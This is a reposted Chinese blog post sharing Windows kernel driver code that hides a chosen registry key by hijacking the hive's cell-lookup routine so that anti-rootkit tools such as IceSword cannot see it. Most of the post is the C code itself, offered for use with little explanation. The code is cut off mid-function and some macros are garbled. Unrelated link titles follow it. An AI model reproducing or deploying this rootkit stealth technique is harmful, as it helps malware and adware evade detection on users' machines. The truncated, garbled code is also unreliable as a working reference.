一段隐藏注册表项的代码 _云知道

发一段隐藏注册表项的驱动代码，可以过目前最新的IceSword1.22 。
以前驱动开发网悬赏挑战IceSword时写的，不过最后没公开。那时流氓软件势头正劲，我可不想火上浇油。现在反流氓软件日渐成熟，也就没关系了。知道了原理，防御是非常容易的。
原理很简单，实现的代码也很短，啥都不用说，各位直接看示例代码吧。
#include
#define GET_PTR(ptr, offset) ( *(PVOID*)( (ULONG)ptr(offset##Offset) ) )
#define CM_KEY_INDEX_ROOT;;;0x6972 // ir
#define CM_KEY_INDEX_LEAF;;;0x696c // il
#define CM_KEY_FAST_LEAF;;;;0x666c // fl
#define CM_KEY_HASH_LEAF;;;;0x686c // hl
// 一些CM的数据结构，只列出用到的开头部分
#pragma pack(1)
typedef struct _CM_KEY_NODE {
USHORT Signature;
USHORT Flags;
LARGE_INTEGER LastWriteTime;
ULONG Spare;;;;;// used to be TitleIndex
HANDLE Parent;
ULONG SubKeyCounts[2];;;// Stable and Volatile
HANDLE SubKeyLists[2];;;// Stable and Volatile
// ...
} CM_KEY_NODE, *PCM_KEY_NODE;
【一段隐藏注册表项的代码】typedef struct _CM_KEY_INDEX {
USHORT Signature;
USHORT Count;
HANDLE List[1];
} CM_KEY_INDEX, *PCM_KEY_INDEX;
typedef struct _CM_KEY_BODY {
ULONG Type // "ky02"
PVOID KeyControlBlock;
PVOID NotifyBlock;
PEPROCESS Process; // the owner process
LIST_ENTRY KeyBodyList; // key_nodes using the same kcb
} CM_KEY_BODY, *PCM_KEY_BODY;
typedef PVOID (__stdcall *PGET_CELL_ROUTINE)(PVOID, HANDLE);
typedef struct _HHIVE {
ULONG Signature;
PGET_CELL_ROUTINE GetCellRoutine;
// ...
} HHIVE, *PHHIVE;
#pragma pack()
// 需隐藏的主键名
WCHAR g_HideKeyName[] = L"RegistryMachineSYSTEMCurrentControlSetServicesBeep";
PGET_CELL_ROUTINE g_pGetCellRoutine = NULL;
PGET_CELL_ROUTINE* g_ppGetCellRoutine = NULL;
PCM_KEY_NODE g_HideNode = NULL;
PCM_KEY_NODE g_LastNode = NULL;
// 打开指定名字的Key
HANDLE OpenKeyByName(PCWSTR pwcsKeyName)
{
NTSTATUS status;
UNICODE_STRING uKeyName;
OBJECT_ATTRIBUTES oa;
HANDLE hKey;
RtlInitUnicodeString(&uKeyName, pwcsKeyName);
InitializeObjectAttributes(&oa, &uKeyName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
status = ZwOpenKey(&hKey, KEY_READ, &oa);
if (!NT_SUCCESS(status))
{
DbgPrint("ZwOpenKey Failed: %lxn", status);
return NULL;
}
return hKey;
}
// 获取指定Key句柄的KeyControlBlock
PVOID GetKeyControlBlock(HANDLE hKey)
{
NTSTATUS status;
PCM_KEY_BODY KeyBody;
PVOID KCB;
if (hKey == NULL) return NULL;
// 由Key句柄获取对象体
status = ObReferenceObjectByHandle(hKey, KEY_READ, NULL, KernelMode, &KeyBody, NULL);
if (!NT_SUCCESS(status))
{
DbgPrint("ObReferenceObjectByHandle Failed: %lxn", status);
return NULL;
}
// 对象体中含有KeyControlBlock
KCB = KeyBody->KeyControlBlock;
DbgPrint("KeyControlBlock = %lxn", KCB);
ObDereferenceObject(KeyBody);
return KCB;
}
// 获取父键的最后一个子键的节点
PVOID GetLastKeyNode(PVOID Hive, PCM_KEY_NODE Node)
{
// 获取父键的节点
PCM_KEY_NODE ParentNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, Node->Parent);
// 获取子键的索引
PCM_KEY_INDEX Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, ParentNode->SubKeyLists[0]);
DbgPrint("ParentNode = %lxnIndex = %lxn", ParentNode, Index);
// 如果为根(二级)索引，获取最后一个索引
if (Index->Signature == CM_KEY_INDEX_ROOT)
{
Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, Index->List[Index->Count-1]);
DbgPrint("Index = %lxn", Index);
}
if (Index->Signature == CM_KEY_FAST_LEAF || Index->Signature == CM_KEY_HASH_LEAF)
{
// 快速叶索引(2k)或散列叶索引(XP/2k3) ，返回最后的节点
return g_pGetCellRoutine(Hive, Index->List[2*(Index->Count-1)]);

一段隐藏注册表项的代码

推荐阅读

手机ons模拟器怎么用

老婆婚前和前男友同居过为什么我觉得被骗了

梦见战胜别人梦见战胜别人的含义

亲子鉴定需要具备什么条件亲子鉴定的要求

公取自食之其人愧甚而退翻译公取自食之其人愧甚而退的意思

中国有哪些航空公司中国航空公司有哪些

高三补习班半年多少钱

南亚冬季气温比同纬度气温高的原因有哪些原因

西洋参的保质期是多久

2022年无锡锡山房交会抽奖金额+方式

电磁炉辐射大吗对于孕妇来说，我是一名孕妇怀孕四到五个月时都在使用电磁炉请问对胎儿有多大

车载充电器怎么用

怎么自编车牌号

宜年的寓意

速腾1.6能刷ecu吗速腾1.6刷完ecu动力怎么样

四级报名官网，英语四级考试